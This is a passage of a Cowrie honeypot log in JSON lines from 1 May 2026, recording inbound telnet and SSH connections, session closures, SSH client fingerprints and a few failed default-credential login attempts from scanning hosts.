0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:02.222127Z","src_ip":"176.65.139.103","session":"673bded4b2bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:02.479701Z","src_ip":"176.65.139.103","session":"673bded4b2bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.175.16","src_port":42368,"dst_ip":"10.17.0.5","dst_port":23,"session":"25fd25655222","protocol":"telnet","message":"New connection: 40.124.175.16:42368 (10.17.0.5:23) [session: 25fd25655222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:02.505887Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55026,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeeac97a2b6b","protocol":"telnet","message":"New connection: 5.189.169.71:55026 (10.17.0.5:23) [session: aeeac97a2b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:02.808865Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55040,"dst_ip":"10.17.0.5","dst_port":23,"session":"da1c5f458ec3","protocol":"telnet","message":"New connection: 5.189.169.71:55040 (10.17.0.5:23) [session: da1c5f458ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:02.905898Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55042,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8e173322bf","protocol":"telnet","message":"New connection: 5.189.169.71:55042 (10.17.0.5:23) [session: 5f8e173322bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:02.914447Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55054,"dst_ip":"10.17.0.5","dst_port":23,"session":"d84d66e4aaf1","protocol":"telnet","message":"New connection: 5.189.169.71:55054 (10.17.0.5:23) [session: d84d66e4aaf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:03.072275Z"}
{"eventid":"cowrie.session.closed","duration":30.189812421798706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:03.113541Z","src_ip":"5.189.169.71","session":"f244f3961e68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56502,"dst_ip":"10.17.0.5","dst_port":23,"session":"96746cea1622","protocol":"telnet","message":"New connection: 94.23.163.94:56502 (10.17.0.5:23) [session: 96746cea1622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:03.334165Z"}
{"eventid":"cowrie.session.closed","duration":30.97635817527771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:03.405969Z","src_ip":"5.189.169.71","session":"c49833ed4702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"54b9aaf6ba9b","protocol":"telnet","message":"New connection: 5.189.169.71:55060 (10.17.0.5:23) [session: 54b9aaf6ba9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:03.413149Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:03.565616Z","src_ip":"176.65.139.103","session":"673bded4b2bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56516,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cbe70083cf7","protocol":"telnet","message":"New connection: 94.23.163.94:56516 (10.17.0.5:23) [session: 6cbe70083cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:03.616453Z"}
{"eventid":"cowrie.session.closed","duration":37.97081398963928,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:04.388991Z","src_ip":"23.254.167.244","session":"abc1d98ef07b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56522,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4ef875c510d","protocol":"telnet","message":"New connection: 94.23.163.94:56522 (10.17.0.5:23) [session: c4ef875c510d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:04.672420Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55068,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4fffbeef1b8","protocol":"telnet","message":"New connection: 5.189.169.71:55068 (10.17.0.5:23) [session: c4fffbeef1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:04.885736Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55080,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed79b6bed49c","protocol":"telnet","message":"New connection: 5.189.169.71:55080 (10.17.0.5:23) [session: ed79b6bed49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:04.941911Z"}
{"eventid":"cowrie.session.closed","duration":30.85096049308777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:05.052961Z","src_ip":"5.189.169.71","session":"005103585136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741556882858276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:05.060011Z","src_ip":"5.189.169.71","session":"7e8dd12980ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55084,"dst_ip":"10.17.0.5","dst_port":23,"session":"943ec5f8f65e","protocol":"telnet","message":"New connection: 5.189.169.71:55084 (10.17.0.5:23) [session: 943ec5f8f65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:05.295382Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55094,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dff2bcd0e31","protocol":"telnet","message":"New connection: 5.189.169.71:55094 (10.17.0.5:23) [session: 9dff2bcd0e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:05.447405Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55104,"dst_ip":"10.17.0.5","dst_port":23,"session":"790902c0f6ed","protocol":"telnet","message":"New connection: 5.189.169.71:55104 (10.17.0.5:23) [session: 790902c0f6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:05.508133Z"}
{"eventid":"cowrie.session.closed","duration":30.985883235931396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:06.063429Z","src_ip":"5.189.169.71","session":"46c6ce21a0ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95661735534668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:06.111537Z","src_ip":"94.23.163.94","session":"63ee4e1a471e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.092625617980957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:06.377055Z","src_ip":"5.189.169.71","session":"7f6e9165c82f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55108,"dst_ip":"10.17.0.5","dst_port":23,"session":"28716e895fdd","protocol":"telnet","message":"New connection: 5.189.169.71:55108 (10.17.0.5:23) [session: 28716e895fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:06.567350Z"}
{"eventid":"cowrie.session.closed","duration":30.85318684577942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:07.055708Z","src_ip":"5.189.169.71","session":"62b9c7ad0e2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.363831758499146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:07.120195Z","src_ip":"5.189.169.71","session":"8c4439de527d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56538,"dst_ip":"10.17.0.5","dst_port":23,"session":"c94a1733d963","protocol":"telnet","message":"New connection: 94.23.163.94:56538 (10.17.0.5:23) [session: c94a1733d963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:07.410382Z"}
{"eventid":"cowrie.session.closed","duration":30.76333713531494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:07.417824Z","src_ip":"94.23.163.94","session":"47db43cc9f65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.537004232406616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:07.512033Z","src_ip":"5.189.169.71","session":"c247e3674f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56544,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2eb44333d0","protocol":"telnet","message":"New connection: 94.23.163.94:56544 (10.17.0.5:23) [session: 0d2eb44333d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:07.663233Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56546,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed7fcefac095","protocol":"telnet","message":"New connection: 94.23.163.94:56546 (10.17.0.5:23) [session: ed7fcefac095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:07.952708Z"}
{"eventid":"cowrie.session.closed","duration":30.717965602874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.061463Z","src_ip":"5.189.169.71","session":"b31c345eafac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56558,"dst_ip":"10.17.0.5","dst_port":23,"session":"0452a020c5a5","protocol":"telnet","message":"New connection: 94.23.163.94:56558 (10.17.0.5:23) [session: 0452a020c5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.205137Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58512,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33820d8b547","protocol":"telnet","message":"New connection: 5.189.169.71:58512 (10.17.0.5:23) [session: c33820d8b547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.301073Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56562,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62a05f9cd47","protocol":"telnet","message":"New connection: 94.23.163.94:56562 (10.17.0.5:23) [session: f62a05f9cd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.310779Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58528,"dst_ip":"10.17.0.5","dst_port":23,"session":"3846ca33f4f1","protocol":"telnet","message":"New connection: 5.189.169.71:58528 (10.17.0.5:23) [session: 3846ca33f4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.429563Z"}
{"eventid":"cowrie.session.closed","duration":31.161909580230713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.693681Z","src_ip":"5.189.169.71","session":"b07f2747f8fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.602752685546875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.707504Z","src_ip":"5.189.169.71","session":"90165adc49f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43514,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f53dc9f387","protocol":"ssh","message":"New connection: 176.65.139.103:43514 (10.17.0.5:22) [session: b3f53dc9f387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.785193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.801268Z","src_ip":"176.65.139.103","session":"b3f53dc9f387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56568,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b8e7b02a545","protocol":"telnet","message":"New connection: 94.23.163.94:56568 (10.17.0.5:23) [session: 8b8e7b02a545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:08.959198Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:09.005468Z","src_ip":"176.65.139.103","session":"b3f53dc9f387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56584,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3ec9855596","protocol":"telnet","message":"New connection: 94.23.163.94:56584 (10.17.0.5:23) [session: eb3ec9855596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:09.436408Z"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:09.477707Z","src_ip":"176.65.139.103","session":"b3f53dc9f387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58540,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6899833aed9","protocol":"telnet","message":"New connection: 5.189.169.71:58540 (10.17.0.5:23) [session: a6899833aed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:09.897101Z"}
{"eventid":"cowrie.session.closed","duration":30.533447265625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:10.051730Z","src_ip":"5.189.169.71","session":"8b37ef04ba16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03918480873108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:10.133520Z","src_ip":"94.23.163.94","session":"dc592a2e92d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964418172836304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:10.244767Z","src_ip":"5.189.169.71","session":"30129d864364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":56600,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e5ccc99f78a","protocol":"telnet","message":"New connection: 94.23.163.94:56600 (10.17.0.5:23) [session: 0e5ccc99f78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:10.539912Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:10.594254Z","src_ip":"176.65.139.103","session":"b3f53dc9f387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.2956280708313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:11.061753Z","src_ip":"5.189.169.71","session":"24a216cfd168","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":52370,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b4807a3632","protocol":"telnet","message":"New connection: 5.189.178.126:52370 (10.17.0.5:23) [session: b7b4807a3632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:11.489899Z"}
{"eventid":"cowrie.session.closed","duration":30.751088857650757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:12.063662Z","src_ip":"5.189.169.71","session":"e970b4b86765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466515064239502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:12.089529Z","src_ip":"5.189.169.71","session":"c7ffb80c1c1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58556,"dst_ip":"10.17.0.5","dst_port":23,"session":"55a6abc38191","protocol":"telnet","message":"New connection: 5.189.169.71:58556 (10.17.0.5:23) [session: 55a6abc38191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:12.246721Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58560,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7aa3b9150a5","protocol":"telnet","message":"New connection: 5.189.169.71:58560 (10.17.0.5:23) [session: a7aa3b9150a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:12.368385Z"}
{"eventid":"cowrie.session.closed","duration":10.044582605361938,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:12.550353Z","src_ip":"40.124.175.16","session":"25fd25655222","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.175.16","src_port":40846,"dst_ip":"10.17.0.5","dst_port":23,"session":"efceb948d298","protocol":"telnet","message":"New connection: 40.124.175.16:40846 (10.17.0.5:23) [session: efceb948d298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:12.594232Z"}
{"eventid":"cowrie.session.closed","duration":0.05771207809448242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:12.651822Z","src_ip":"40.124.175.16","session":"efceb948d298","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58570,"dst_ip":"10.17.0.5","dst_port":23,"session":"5647ea3e0555","protocol":"telnet","message":"New connection: 5.189.169.71:58570 (10.17.0.5:23) [session: 5647ea3e0555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:13.377092Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":39126,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2e9016322a6","protocol":"telnet","message":"New connection: 155.117.234.131:39126 (10.17.0.5:23) [session: d2e9016322a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:13.452694Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":33126,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9b04848d23","protocol":"telnet","message":"New connection: 94.23.163.94:33126 (10.17.0.5:23) [session: fa9b04848d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:13.841865Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":33132,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ac1db42df89","protocol":"telnet","message":"New connection: 94.23.163.94:33132 (10.17.0.5:23) [session: 1ac1db42df89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:13.873781Z"}
{"eventid":"cowrie.session.closed","duration":30.665123462677002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:14.061543Z","src_ip":"5.189.169.71","session":"8f88c1f5a51f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58580,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c2bfe8f157a","protocol":"telnet","message":"New connection: 5.189.169.71:58580 (10.17.0.5:23) [session: 1c2bfe8f157a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:14.108014Z"}
{"eventid":"cowrie.session.closed","duration":30.846978902816772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:14.152628Z","src_ip":"5.189.169.71","session":"05e6feeaac6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58590,"dst_ip":"10.17.0.5","dst_port":23,"session":"870080e8dd9e","protocol":"telnet","message":"New connection: 5.189.169.71:58590 (10.17.0.5:23) [session: 870080e8dd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:14.288226Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":33140,"dst_ip":"10.17.0.5","dst_port":23,"session":"76bd1ffec827","protocol":"telnet","message":"New connection: 94.23.163.94:33140 (10.17.0.5:23) [session: 76bd1ffec827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:14.625144Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55780,"dst_ip":"159.203.135.109","dst_port":23,"session":"a81102eebb9d","protocol":"telnet","message":"New connection: 23.254.167.244:55780 (159.203.135.109:23) [session: a81102eebb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:14.781695Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58602,"dst_ip":"10.17.0.5","dst_port":23,"session":"9af4c059f411","protocol":"telnet","message":"New connection: 5.189.169.71:58602 (10.17.0.5:23) [session: 9af4c059f411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:14.801425Z"}
{"eventid":"cowrie.session.closed","duration":30.345333576202393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:15.050311Z","src_ip":"5.189.169.71","session":"5d022ad99d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":33142,"dst_ip":"10.17.0.5","dst_port":23,"session":"776c2a869c73","protocol":"telnet","message":"New connection: 94.23.163.94:33142 (10.17.0.5:23) [session: 776c2a869c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:15.189444Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53910,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55c5833cd59","protocol":"telnet","message":"New connection: 213.136.75.179:53910 (10.17.0.5:23) [session: c55c5833cd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:15.620796Z"}
{"eventid":"cowrie.session.closed","duration":31.445630311965942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:33:15.974050Z","src_ip":"5.189.169.71","session":"9ef1a2f57675","protocol":"telnet"}
